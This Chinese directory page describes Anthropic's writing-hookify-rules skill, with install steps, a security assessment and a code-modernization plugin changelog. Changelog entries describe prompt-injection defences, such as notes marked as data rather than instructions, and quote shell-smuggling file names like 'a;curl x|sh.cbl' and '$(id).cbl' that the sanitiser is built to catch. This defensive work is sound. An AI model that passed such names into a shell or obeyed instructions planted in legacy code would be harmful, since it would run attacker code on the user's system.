writing-hookify-rules – Hook 规则编写 Skill

writing-hookify-rules 是用于指导 AI Agent 编写 Hookify 规则的写作型 Skill，能根据自然语言描述生成符合规范格式的钩子规则，适合在 Git 提交、代码检查等环节快速编写规则草稿的开发者。

查看调研报告在来源平台打开

开发与编程开发工具 # Anthropic # Claude Code # Git Hooks # Hookify # 规则生成

Skill 安装

多 Agent 安装

npx skills add https://github.com/anthropics/claude-plugins-official --skill writing-hookify-rules

使用 npx skills 快速安装，支持将 Skill 添加到多个兼容的 AI Agent。

Skill 调研报告

Skill 详细介绍

writing-hookify-rules 是 Anthropic 官方 Claude 插件市场仓库 anthropics/claude-plugins-official 中的一个 Skill，用于帮助用户编写 Hookify 规则。它本身不是一个可以独立运行的软件，也不是命令行工具，而是一套面向 AI Agent 的写作指令与规则生成指南。

它解决的核心问题

Hookify 是一套钩子（hook）规则系统，通常用在 Git 提交、代码检查、事件触发等环节自动执行预设动作。手写这类规则时，用户常遇到几个麻烦：

– 不熟悉 Hookify 规则的语法与字段，容易写错。
– 需要覆盖多种触发条件，手写容易漏掉边界情况。
– 希望 Agent 根据自然语言需求，快速产出规则草稿。

writing-hookify-rules 提供的就是“如何把用户意图翻译成合法 Hookify 规则”的方法论与示例。

安装后 Agent 会增加什么能力

– 理解用户用自然语言描述的触发条件与期望动作。
– 输出符合 Hookify 规范格式的规则内容。
– 在生成过程中参照该 Skill 内置的示例与约束。

它不是什么

– 不是 Hookify 运行时本身，不负责执行规则。
– 不是 Hookify 官方文档的替代品。
– 不是通用代码生成 Skill，专注范围限于 Hookify 规则写作。
– 不包含独立的网络服务或后端接口。

典型使用场景

– 在 git commit 之前自动运行 lint。
– 当 .ts 文件被修改时触发类型检查命令。
– 在 git push 之前自动跑测试。
– 在已有 Hookify 配置上补一条新规则，格式与现有规则保持一致。

适合哪些用户

– 已经在使用 Hookify 或准备接入 Hookify 的开发者。
– 希望用自然语言快速生成规则草稿的工程团队。
– 使用 Claude Code 并希望在 Claude 生态内完成规则编写的用户。

不适合哪些需求

– 想直接运行、调试 Hookify 规则的人。
– 需要 Hookify 运行时排错、日志分析的人。
– 与 Hookify 无关的通用自动化脚本编写。

由于官方公开资料有限，该 Skill 内部具体包含哪些示例、支持哪些 Hookify 版本，当前官方资料未明确说明，具体以该 Skill 当前官方说明为准。

Skill 安全评估

总体判断：该 Skill 来自 Anthropic 官方插件仓库，来源可信度较高，属于写作指导类 Skill，风险面较小。但实际安全性取决于它在你的 Agent 中被赋予的权限。

来源可信度

– 发布方为 anthropics，属于 Anthropic 官方组织。
– 仓库为 claude-plugins-official，是官方插件集合。
– 相比第三方个人仓库，供应链风险更低。

权限相关

– 该 Skill 的主要行为是生成规则文本，通常不需要 Shell、网络或文件写入权限即可完成。
– 如果 Agent 被配置为自动把生成结果写入项目文件，则涉及文件写入权限，建议在写入前让用户确认。
– 如果 Agent 被允许自动执行 Hookify 相关命令，则可能触发实际动作，需要在受控环境中进行。

Prompt Injection 风险

任何读取外部文本（如 issue、README、他人规则文件）并交给该 Skill 处理的场景，都可能引入间接提示注入。建议只把可信来源的内容交给该 Skill，不要把未审查的外部文本直接当作指令输入。

依赖风险

– 该 Skill 本身不引入 npm、pip 等依赖。
– 若使用 Hookify 运行时，Hookify 及其依赖属于独立供应链，需要单独评估。

降低风险的建议

– 只让该 Skill 生成规则草稿，由用户人工审查后再落地。
– 关闭 Agent 自动执行 Shell 的权限，改为手动执行生成的命令。
– 不要在该 Skill 上下文中传入 API Key、Token 等敏感信息。
– 如果 Skill 更新，重新查看官方说明确认行为未变。

Skill 使用要求

一、Agent / 客户端

该 Skill 属于 Anthropic 官方 Claude 插件体系，与 Claude Code 高度适配，可以优先在 Claude Code 中使用。官方没有提供完整的第三方 Agent 兼容列表。从 Agent Skill 的工作方式来看，在支持 Skills、自定义 Skill 或类似指令加载机制的环境中，通常也可以尝试在 Codex、Cursor、Trae、OpenClaw、WorkBuddy 等主流 AI Agent 中使用。不同 Agent 的 Skill 加载方式与兼容程度可能不同，具体以对应 Agent 当前版本为准。

二、运行环境 / 依赖

三、权限

– 文件读取：可选，取决于是否需要读取项目上下文。
– 文件写入：可选，仅在让 Agent 自动保存规则文件时需要。
– Shell：可选，规则生成本身不需要。
– 网络：通常仅安装阶段需要。
– GitHub：可选，若规则涉及 Git 钩子相关场景。

四、账号 / API Key

– 该 Skill 本身不需要独立账号、API Key 或 Token。
– 使用 Claude Code 时，凭证由 Claude Code 自身的登录体系管理。
– 生成的 Hookify 规则可能引用第三方服务，如果规则涉及调用外部 API，相应凭证应由用户自行在 Hookify 运行环境配置，与 Skill 本身无关。

最小使用条件

– 一个支持 Skill 加载的 Agent（推荐 Claude Code）。
– 能够完成该 Skill 的安装。
– 清楚自己希望生成的 Hookify 规则要解决什么问题。

Skill 安装、使用与卸载教程

一、安装

可以直接复制本页面提供的 Skill 安装指令，粘贴到对应 Agent 或终端执行。

如果不清楚自己的 Agent 如何安装 Skill，可以直接询问当前 AI Agent：

如何安装 anthropics/claude-plugins-official#writing-hookify-rules？

也可以指定 Agent，例如：

如何在 Claude Code 中安装 anthropics/claude-plugins-official#writing-hookify-rules？

如何在 Codex 中安装 anthropics/claude-plugins-official#writing-hookify-rules？

如何在 Cursor 中安装 anthropics/claude-plugins-official#writing-hookify-rules？

让当前 Agent 根据自己的 Skill 加载 / 管理机制给出安装步骤。该 Skill 目前没有需要额外说明的特殊安装条件。

二、安装后如何使用

安装后，当任务涉及 Hookify 规则编写时，Agent 会自动参照该 Skill 的指令。用户只需用自然语言描述需求即可。

使用 writing-hookify-rules，帮我写一条在 git commit 之前运行 lint 的 Hookify 规则。

用 writing-hookify-rules 生成一条规则：当 .ts 文件被修改时，触发类型检查命令。

项目里已经有 Hookify 配置了，用 writing-hookify-rules 帮我加一条在 push 之前跑测试的规则，格式和现有规则保持一致。

生成的规则建议先人工审查语法和触发条件，再写入项目。

三、卸载

不同 Agent 的 Skill 安装位置和管理方式可能不同，如果没有统一卸载命令，直接询问当前 Agent 通常更稳妥：

如何卸载 anthropics/claude-plugins-official#writing-hookify-rules？

也可以使用对应 Agent / Skill 管理器提供的删除方式，找到该 Skill 条目并移除。

常见问题

1. 安装后 Agent 没有明显变化，怎么判断该 Skill 已生效？

该 Skill 属于按需触发的写作指导类 Skill，平时不会主动输出内容。可以直接给它一个 Hookify 规则编写任务，观察生成结果是否符合 Hookify 规范格式，即可间接判断是否生效。

2. 可以同时把这一个 Skill 安装到多个 Agent 吗？

可以。Skill 本身是文件与指令集合，不同 Agent 各自管理自己的 Skill 目录，互相独立。但每个 Agent 需要分别完成安装。

3. Skill 更新后需要重新安装吗？

取决于你使用的 Agent 与安装方式。如果 Agent 支持 Skill 自动更新，通常无需手动重装；如果安装方式是手动复制文件，则需要按官方说明重新获取最新版本。具体以对应 Agent 和该 Skill 官方说明为准。

4. 中国大陆使用是否有网络要求？

安装阶段需要能够访问该 Skill 的来源仓库。如果所在网络访问 GitHub 或相关来源受限，可能需要自行准备可用的网络环境。该 Skill 运行阶段本身不依赖持续的外部网络连接。

5. 该 Skill 会不会直接修改我已有的项目文件？

Skill 本身只负责生成规则内容。是否写入项目文件，取决于你给 Agent 的权限和指令。如果只希望生成草稿，可以在指令中明确说明“只输出规则内容，不要修改文件”。

6. 可以关闭 Shell 权限使用该 Skill 吗？

可以。规则生成属于文本任务，通常不需要 Shell 权限。关闭 Shell 权限后，仍可以让 Agent 输出规则内容，由你手动复制到项目中使用。

7. 该 Skill 适合直接用于生产环境吗？

该 Skill 生成的是规则草稿，建议在生产环境使用前由人工审查触发条件、执行动作和影响范围。规则一旦生效可能自动执行命令，需谨慎确认后再启用。

Skill 更新日志

版本列表

无版本号 2026-09-25

合并拉取请求 #6309，来自 anthropics/morganl/code-modernization-consolidated code-modernization：带独立证明的引导式工作流

无版本号 2026-09-25

Claude Security Plugin - v0.12.0 (#6310) 1 个提交的压缩合并

无版本号 2026-09-25

code-modernization：统计失败次数和机器的 python，每个版本一次使用计数现在会说明插件运行在什么之上（系统、python 状态和版本、路径问题），以及发生的是哪种失败：python 缺失或为占位符、权限阻止、模型错误，或插件自身脚本中的错误。失败会在机器上被归类到一个固定列表中，只发送代码，每种类型每个会话一次。会话启动 ping，每个插件版本一次，统计那些没人走到输入命令这一步的机器。当 python 无法运行时，shell 包装器会自行报告，在 Windows 上则回退到 python 或 py 启动器。

无版本号 2026-09-25

code-modernization：版本 1.0.0、使用计数和 README 结果表该插件现在有了版本和变更日志。两个钩子通过 CLI 自身的遥测记录整数使用计数（运行了哪个命令、系统进行到哪一步、有多少规则和证明）：从 100 起的计数会四舍五入，插件未使用时不会发送任何内容，三个开关中的任意一个都能将其关闭。README 记录了每个键，并列出插件在哪些对象上试用过，已对照运行文件检查。

无版本号 2026-09-25

code-modernization：将窗格的规则审查命令重命名为 /modernize-review-pane 窗格中裸写的 /modernize-review 占用了插件自身审查命令的名称，因此在启用窗格的会话中输入短形式会打开窗格的卡片，而不是弹出式审查。窗格的版本现在是 /modernize-review-pane，/modernize-review 始终运行插件命令。两者仍然写入同一个审查文件。

无版本号 2026-09-25

code-modernization：只有当有运行过的测试支持时，规则才算被测试仅由跳过或待定测试命名的规则不再算作已覆盖。它会被列为“已命名，未运行”并使规则检查失败。仅用于测试的文件夹会被列为工具并得到无判定。verify 命令仅在用户要求精确行为时才尝试畸形记录，因此证明循环有终点。报告以线性时间解析规则标题和字段，报告和窗格会显示新状态。

无版本号 2026-09-25

code-modernization：每个输入批准一次差异对重写后的批处理作业进行独立检查时，发现一个族的两个新输入存在差异（一个空白数字字段，重写有意拒绝，而旧程序将其读作零）。每个输入有多个输出文件，因此接受该偏差意味着每个输入要手写三到四个条目。 cases 文件顶层的 "approvedInputs": {"F23": "reason"} 现在会批准共享该输入标签的每个用例。仍然需要原因（空白不批准任何内容），用例自身的原因优先，缺失文件绝不会变成通过，结果仍会将差异列为已批准。

无版本号 2026-09-25

code-modernization：使规则合并可审计且注入安全合并阶段审查后的后续事项： - 该 agent 是一种受限类型，与其同类具有相同的只读措辞，其编号列表上的每个字段都是单条有界行，因此包含换行符的规则名无法伪造另一个条目。 - 任何编号超出范围或不是整数的组会被整体拒绝，而不是被强制转换为不同的合并。 - 合并会保留最保守的审查状态：最高优先级、最低置信度，以及被折叠规则的每个疑似缺陷和 SME 问题。 - 每条被折叠的规则都会连同它并入的规则一起返回，规则文档会在“Rules folded into another”下列出它们，因此不会有任何内容无迹可寻地消失。额外引用显示为“Also cited”，不带连接词。

无版本号 2026-09-25

code-modernization：同技术升级不能靠手工输入的基线或编辑过的测试来证明同技术升级可能过于轻易地得出 PROVEN 的三种方式： - 基线来自某人手工输入的表格。现在只有当脚本能从 analysis//baseline/ 或 BASELINE.md 的 "Recorded:" 行读取每个测试的结果（JUnit 或 TRX XML、带摘要行的运行器日志，或每个测试的 JSON）时，它才算作已测量；仅含计数的文件会被忽略，两个已测量来源不一致即为缺口，手工输入的表格必须与测量结果匹配。 - 升级期间被编辑的测试未被注意到。该包现在会比较旧版和工作副本的测试文件（仅通过遍历文件），并列出新增、删除或更改的内容；删除文件、超过四分之一的文件被更改，或没有旧版测试可比较，都是缺口，并且它会明确说明无法检测被削弱的断言。 - 没有测试覆盖其位置的静默行为变更。目录中每个 Behavioral-silent 增量都必须有一个测试文件命名其位置文件，否则该模块最多为 PARTLY PROVEN。报告的 Proof 部分会显示这三项新检查，缺少其中任何一项的升级包都会读作 PARTLY PROVEN。214 个脚本测试通过。

无版本号 2026-09-25

code-modernization：将多个文件中发现的同一规则折叠为一条一个用 C、一个 C++ 头文件和一个定点变体实现的数值库产生了三条“twiddle factor”规则、两条“generic butterfly”规则和两条“factorization”规则，因为裁判的重复键是文件加上规则名。计划和审查随后都带有噪声。验证后，每 150 条规则由一个小 agent 列出描述同一行为在多个位置实现的组，并被告知只合并那些会作为一个整体实现和测试的内容。保留的规则会引用每个位置（渲染器将它们显示为“Also cited”），并采用其组中的最高优先级；重叠、超出范围或自合并的组会被忽略，规则列表会被围栏标记为不可信数据。计数以 stats.consolidated 报告。

无版本号 2026-09-25

code-modernization：更安全、更通用的版本升级由一名拥有大型 Java 8 系统的工程师阅读这些命令时发现： - 基线套件曾“在 legacy/ 上”运行，这会把构建输出写入源代码。现在它会在临时副本上运行，其结果文件或日志保存在 analysis//baseline/ 下并在 BASELINE.md 中命名，仅手工输入的表格不再算作已测量基线。 - 工作副本不再携带源仓库的历史，会将看起来像凭据或生产设置的文件排除在其首次提交之外并列出供人工查看，并将该历史移动到其自己的新本地仓库。 - 迁移工具（OpenRewrite 等）在临时副本上运行，绝不在源代码中运行，因为试运行仍会构建和下载。 - 跨越多个版本或同时做两件事（JDK 和框架）的移动会被拆分为每次都能构建和测试通过的跳步。 - 在用户说明数据库或服务是本地或一次性实例之前，不会针对配置中指定的数据库或服务运行测试。 - 静默行为搜寻现在会列出 Java、Python、Node 和 PHP 以及 .NET 的常见陷阱（区域设置数据、默认字符集、ORM 映射、属性绑定、str/bytes）。 - 简报不再要求同技术升级提供业务规则：记录的基线就是其行为契约，因此 extract-rules 可以等待。

无版本号 2026-09-25

code-modernization：README 的截图，以及人在哪里做决定添加 README 和窗格文档使用的图片：三张报告图（证明通过时的概览视图、独立检查发现开发用例遗漏的差异时的同一视图，以及证明选项卡）和十张实时窗格图，由窗格自身代码根据已完成的运行绘制。报告图片来自真实运行；窗格的 fleet 和 x-ray 视图及其 GIF 使用脚本化的 agent 活动，审查和签核图片使用示例文本，所有这些都在窗格的 README 中说明。前门会列出人做决定的每个位置，并在用户要求时将安全扫描移到最前，status 会将新用户指向前门，而不是直接指向 preflight。

无版本号 2026-09-25

code-modernization：窗格措辞、关注项和与代码匹配的文档窗格的按钮显示“put in prompt”（它从不运行命令），刷新按钮已移除（窗格已在写入后、回合结束时以及空闲时每 20 秒刷新），摘要行适合 120 列宽，下一步原因足够短以便阅读。正在讨论的 P0 规则会列在 Attention 下（“the build waits”），未证明的模块会在那里显示其第一个原因。在升级中，已完成的模块列在仅被编辑过的模块之前。 hooks/README.md 现在按代码中的方式命名每个按钮和标签，记录插件的 /code-modernization:modernize-review 命令（为没有窗格的人写入同一账本）及其与窗格自身 /modernize-review 的区别，并说明哪些图片使用示例文本。141 个引擎测试通过，类型检查干净。

无版本号 2026-09-25

code-modernization：报告上的下一步，以及保持词语完整的表格报告是人们最先打开的页面，但它从未说明下一步该做什么。现在它会显示一个带复制按钮的命令和一行原因，根据存在哪些产物决定（从 preflight 到 brief，规则看起来不对时在计划前进行规则审查，构建后 verify，harden，然后 status）。短词和判定胶囊不再在狭窄表格单元格内断开（“sam”和“e”、“Calculatio”和“n”）：只有路径和哈希可以在任意位置断开。

无版本号 2026-09-25

code-modernization：人们对规则的判定进入构建，以及更安全的基线审查者的“这条规则是错的”从未到达计划或重写：窗格写入了没有命令读取的审查账本，而没有窗格时也无法写入。 /code-modernization:modernize-review 会在弹出窗口中询问需要判断的规则（带有缺陷、SME 问题或置信度低于 High 的 P0 规则），或接受在请求中输入的判定，并写入相同的 RULE_REVIEWS.json/.md，可带可选备注。brief、transform、reimagine 和测试工程师会读取它：标记为错误的规则不是 oracle，正在讨论的 P0 规则会阻止。运行旧系统以记录基线现在仅限于本地机器或用户指定的测试环境；生产或第三方服务、新账户和真实数据均被禁止，除非已批准的计划中命名它们，记录响应中的令牌会在保存任何内容之前被替换，每个命令都会停止它启动的服务器。另外：前门会在四个选项限制内通过两个弹出窗口询问，每个命令都会将缺少代码的用户指向 /modernize --source ，状态清单和下一步顺序包括 review 和 verify，评估会说明 Rehost 和 Replace 的含义，preflight 会注明 Windows 的 python 名称，插件和市场的描述与其功能匹配。

无版本号 2026-09-25

code-modernization：带每个模块一个判定的独立证明步骤 /code-modernization:modernize-verify 会重新检查已完成的构建，而不是信任它留下的笔记，并由脚本（不是模型）计算每个模块的一个判定：PROVEN、PARTLY PROVEN 或 NOT PROVEN，并将规则写入输出。该包会重新读取测试自身的结果文件或保存的运行器日志（命令仅报告的计数从不计入），将每条 P0 业务规则追溯到命名它的测试，用 compare.py 再次判断旧输出和新输出，然后在两个系统上运行至少十个开发未使用的输入。它要求有一个使测试变红的已记录 canary，检查旧版源代码未被改动（通过文件时间：被分析树中没有进程运行），并将每个人工标准列为等待人工处理。对于升级，它会将新结果与记录的基线进行 diff。判定绝不会从早先运行中沿用。报告新增 Proof 部分，会从相同检查重新计算每个判定，失败的图表不再阻止其后的图表绘制。

无版本号 2026-09-25

code-modernization：让规则提取与代码成比例在一个约千行的 C 工具上，全资产提取运行了四轮，生成了 223 个 agent 并返回 141 条规则（其中 31 条为 P0），因为模型总能在小程序中找到又一个微行为，而循环只有在某一轮完全找不到任何内容时才停止。每个提取器现在都会收到关于规则切分粒度的相同指令：每个业务决策或计算一条，而不是每个分支或字段一条，跳过管道代码，大约每 40 到 80 行真实逻辑一条，并且只对少数会破坏系统目的的规则评为 P0。全资产循环默认两轮，并在某一轮新增内容低于已编目内容的 15% 时停止。

无版本号 2026-09-25

code-modernization：让实时窗格在低于 144 列时工作并显示证明通过针对已完成运行的真实输出演练窗格发现： - 低于 144 列时，引擎会阻止未请求的窗格；窗格忽略了这一点，因此它不绘制窗格、不显示 show bar，并且面板命令“隐藏”了一个从未存在的窗格。 - 符号链接的 legacy/ 会列为另一种条目，因此 preflight 现在创建的源链接从未被识别为系统。 - Uplift 和 reimagine 的下一步是没有按钮的占位符。 - 当 agent 运行时，刷新防抖被饿死，因此地图冻结。 - brief、规则和基线中的恶意行可能需要数秒才能匹配；现在行数有上限。规则审查账本在读取时验证并在保存时合并，并保留审查者的备注。 - 没有行的基线读作“the baseline had 0”；单模块基线总数现在计为该模块的行。新增：每个已构建模块上带文字的判定芯片、verify-first 下一步，以及跟随终端主题的可读调色板。140 个引擎测试通过，类型检查干净。

无版本号 2026-09-25

code-modernization：加固数值容差并说明 Rehost 和 Replace 的含义容差检查审查后的后续事项：高于 1e-6 的绝对容差会像高于 1% 的相对容差一样被拒绝，数字按精确十进制而不是 double 比较，像 1.2.3 或 10.0.0.1 这样的点分运行是必须精确匹配的文本，自检现在会更改每个采样数字的首位数字，以证明容差无法隐藏真实变化。业务规则标题会说明提取时有多少条规则，因为后续步骤会添加规则。评估会说明当它建议 Rehost 或 Replace 时该做什么，这些不更改代码，因此没有构建命令。

无版本号 2026-09-25

code-modernization：在声明的容差内比较浮点输出等价性检查仅比较字节，这对数值代码（Fortran、C、科学和金融结果）无法通过，因为其最后几位在不同编译器和数学库之间会不同，因此这些情况会促使人们把数字掩盖掉。用例现在可以声明容差，相对或绝对，并需要原因。只有带小数点或指数的数字可以在容差内不同；整数和所有其他字节必须匹配，高于 1% 的相对容差会被拒绝，容差和最大差异会记录在结果中。当容差宽松到足以隐藏数字首位数字的变化时，自检也会失败。

无版本号 2026-09-25

code-modernization：渲染业务规则时每条规则保留一个引用提取器被告知每条规则引用单个文件范围，但在一个大型 Perl 代码库上，它不断在 source 字段中返回两三个文件以及一句解释，报告和窗格无法将其解析为一行。渲染器现在将第一个 path:line-range 作为规则的引用，并将后面的任何内容放在“Also cited”行。

无版本号 2026-09-25

code-modernization：按名称调用工作流并修复 uplift 版本参数只要插件位于工作目录之外，Workflow 工具就会拒绝插件脚本路径，而这对已安装插件是常态：模型在每次运行中都会失败一两次，然后才回退到注册名称。命令现在按注册名称调用每个工作流，仅将脚本路径作为回退提及。 modernize-uplift 还引用了 legacy/$system_version，这不是一个参数；它现在处处使用 $source_version，并且当未给出版本对、重写目标和愿景时，会回退到 analysis//INTENT.md。README 指出脚本化（claude -p）运行需要 CLAUDE_CODE_PRINT_BG_WAIT_CEILING_MS=0，以便长时间扇出步骤能够完成。

无版本号 2026-09-25

code-modernization：对每个系统以同一种方式衡量组合复杂度组合扫描让每个调查 agent 选择自己的复杂度工具，因此一个系统的数字是每文件总数，另一个是每函数平均值，而热图仍然比较它们。每个 agent 现在采用相同度量（每文件决策点总数，以及最复杂的单个文件），工作流按千行代码计算复杂度，表格显示这些列。文档覆盖率不再将许可证头计为文档。

无版本号 2026-09-25

code-modernization：只询问一次你想要什么的前门 /code-modernization:modernize 不接受参数。它会找到代码，询问用户想用它做什么（同一技术的新版本、用另一种技术重写、重建，或只是理解它）以及什么必须保持为真，将答案写入 analysis//INTENT.md，用几行展示前路，并给出确切的第一条命令。再次访问时，它的行为类似 status。 brief 从 INTENT.md 获取其目标、目标和每个阶段的构建命令，uplift、transform 和 reimagine 会回退到它来获取版本、目标和愿景，因此不会有人被问两次同样的事。README 的 start 部分现在以前门开头。

无版本号 2026-09-25

code-modernization：按系统用途给规则评级，并让实时运行完成在真实仓库上运行命令时发现的两个问题： - P0 定义是金钱和监管形状的，因此一个音乐库工具没有得到 P0 规则，其行为契约结果为空。P0 现在意味着系统的核心目的依赖该规则，或者错误结果代价高昂或不可逆（金钱、法律、数据完整性、安全或安保，或系统存在所执行的核心计算或决策）。 - 引用返回为范围列表，而规则渲染器编号 RULE-NNN 的顺序与文档不同。每条规则现在引用一个范围，编号按顺序读取。启动子 agent 的命令现在会说要以前台方式运行并等待，因为无头会话会在模型停止说话时结束，即使它说自己在等待后台 agent。

无版本号 2026-09-25

code-modernization：更简单的命令、source 选项、报告页面和等价性检查命令硬编码了 legacy/，因此太大而无法复制的代码，或位于绝对路径的代码，需要手工创建符号链接。Preflight 现在接受 --source 并为你创建 legacy/ 链接（Windows 上为 junction）；不会复制任何内容，每个命令在开始前都会说明链接指向哪里。harden 补丁使用 patch -p1 -d 应用。每个命令结束时都会命名下一条要运行的命令，并且命令缩短了约三分之一，没有删除任何步骤： - map 接受现有依赖图（--graph）或技术栈自己的工具，以可恢复的块映射非常大的资产，将反射目标记录为未解析而不是死项，在描述超过 40 个节点前询问，并且绝不给两个节点相同的位置。 - transform 可以从 brief 获取其模块和目标，统计已执行的等价性用例（零是失败，比较绝不跳过），展示测试可以通过故意的一行破坏而失败，并在两个系统都能运行时将“相同或不同”交给脚本。 - brief 以固定形状编写每个阶段：一条命令、与 map 中一致的模块 id，以及写成构建命令可以勾选但不能改写的条件的标准。 - reimagine 复用发现产物，而不是再次提取它们。 - status 命名下一条要粘贴的确切命令。 scripts/build_report.py 将命令写入的任何内容转换为一个自包含、离线的 REPORT.html（Mermaid 已内置，分析中的所有文本都已转义，隔离的 secrets 文件从不读取），scripts/compare.py 逐字节判断两个输出是否匹配，记录原因，并检查它能够失败。分片构建器忽略符号链接和离开源的路径，将普通名称与其下方内容匹配，并在 map 的模块共享位置时回退到目录树。 README 从 275 行降到约 100 行；窗格的参考移到 hooks/README.md。

无版本号 2026-09-25

code-modernization：extract-rules 使用随插件提供的分片构建器和规则渲染器该命令过去内联携带一个 35 行的分片构建脚本，并要求模型在每次运行时编写规则渲染器，因此分片列表和 BUSINESS_RULES.md 布局每次运行都不同，且无法测试。 scripts/make_shards.py 在 map 已运行时从 topology.json 构建分片列表，未运行时从目录树构建（跳过 vendored、生成和测试夹具目录，每个目录一个分片，在 25 个文件或约 5,000 行处拆分）。scripts/render_rules.py 将工作流结果转换为 BUSINESS_RULES.md 和 DATA_OBJECTS.md，带有 RULE-NNN 标题、SME 部分和覆盖缺口，并将分析中的每个值写为纯文本。工作流接受可选的 sourceDir，因此代码可以位于工作区之外，分片文件保持相对于它。该命令从 305 行降到约 150 行。

无版本号 2026-09-25

code-modernization：将窗格的笔记标记为数据并清理其中的名称窗格会向模型读取的内容添加两类文本：关于它刚读取文件的笔记（来自分析文件的名称、规则标题和 delta id）以及一行状态。这些名称由分析 agent 根据旧版代码编写，因此恶意注释可能通过它们到达模型。每个此类值现在都会被裁剪为一条短的纯文本行：控制字符、不可见字符和双向字符、反引号、尖括号和方括号以及双引号都会被替换，长值会被修剪。笔记开头会说明其内容是数据，绝不是指令，并以任何值都无法伪造的结束行收尾。状态行说明它是状态行而不是指令，下一步命令仅在模块 id 是一个普通 token 时才命名模块。窗格只列出插件工作流接受的名称的系统目录。

无版本号 2026-09-25

code-modernization：添加可选的实时进度窗格添加一个 hooks 模块，除非启用 CLI 的早期访问功能钩子，否则关闭；它会在命令运行时在转录旁绘制一个窗格：系统、哪些步骤已完成、其代码地图、每个工作单元及其所处位置、需要关注的内容，以及下一条命令。它只读取命令写入的产物和旧版树，因此适用于任何语言，以及重写、同栈升级或绿地重建。地图在有 topology.json 时来自它，没有时来自源代码树。在升级中，每个模块都会与基线对照；测试从 JUnit XML、.trx 报告或会话看到的运行中读取；一个按钮显示和隐藏窗格，/modernize-panel 可从键盘执行相同操作。同一模块在旧版读取时添加 x-ray 上下文、业务规则审查卡组（/modernize-review）、签核对话框（/modernize-sign）以及可发现一个失败在多个 agent 中重复出现的 fleet 视图。它只观察：绝不阻止、重写或恢复编辑，也不在其读取的树中运行任何程序。升级中更改的模块通过文件 API 按文件名和大小比较工作副本与树来发现。其选项是插件的 userConfig。没有该标志时不会加载任何内容，命令、agent 和工作流的行为与之前相同。 tests/ 中的 91 个测试使用 "claude plugin test" 运行；plugin validate 在发布构建上开启和关闭该标志时均通过。

无版本号 2026-09-25

code-modernization：在模块和文件名进入提示之前检查它们 extract-rules 会将来自仓库自身文件名的模块名和文件路径放入 agent 提示。它们已经过遍历、控制字符、反引号和尖括号检查，但诸如 "a;curl x|sh.cbl" 或 "$(id).cbl" 这样的名称会通过，并且如果 agent 将其不加引号粘贴到命令中，就可能被执行。模块名和域是标签：它们从不被打开，因此现在会被清理而不是丢弃（shell 分隔符、引号、glob 和花括号字符、开头的连字符或空格，以及开启展开的美元符号都会变成 "_"），并且提示会说明名称只是标签。文件路径必须往返一致，因此当它包含命令分隔符、引号、glob、花括号或方括号字符、开启展开的美元符号（$(、${、$HOME、$IFS、$@）、开头或结尾空白、词首或 = 或 : 之后的 ~，或以 - 开头的词（shell 会将 "a -rf.cbl" 拆分为路径和标志）时，会被检查并丢弃，丢弃会计数并记录。反斜杠会先转换为 /，因此检查和 shell 看到同一种拼写，Windows 风格路径也能继续工作。数字前或末尾的美元符号仍然允许，#、@、~ 在词内以及空格之间的单个连字符也允许：大型机成员名会使用它们（"PAY$001"），而位置参数会展开为空或 shell 自身名称，绝不会展开为文件作者控制的任何内容。提取器提示还说要使用 Read 工具打开路径，并将任何进入 shell 命令的路径用单引号包裹。

暂无评论

暂无评论...

writing-hookify-rules – Hook 规则编写 Skill

Skill 安装

Skill 调研报告

Skill 详细介绍

Skill 安全评估

Skill 使用要求

Skill 安装、使用与卸载教程

常见问题

Skill 更新日志

相关 Skills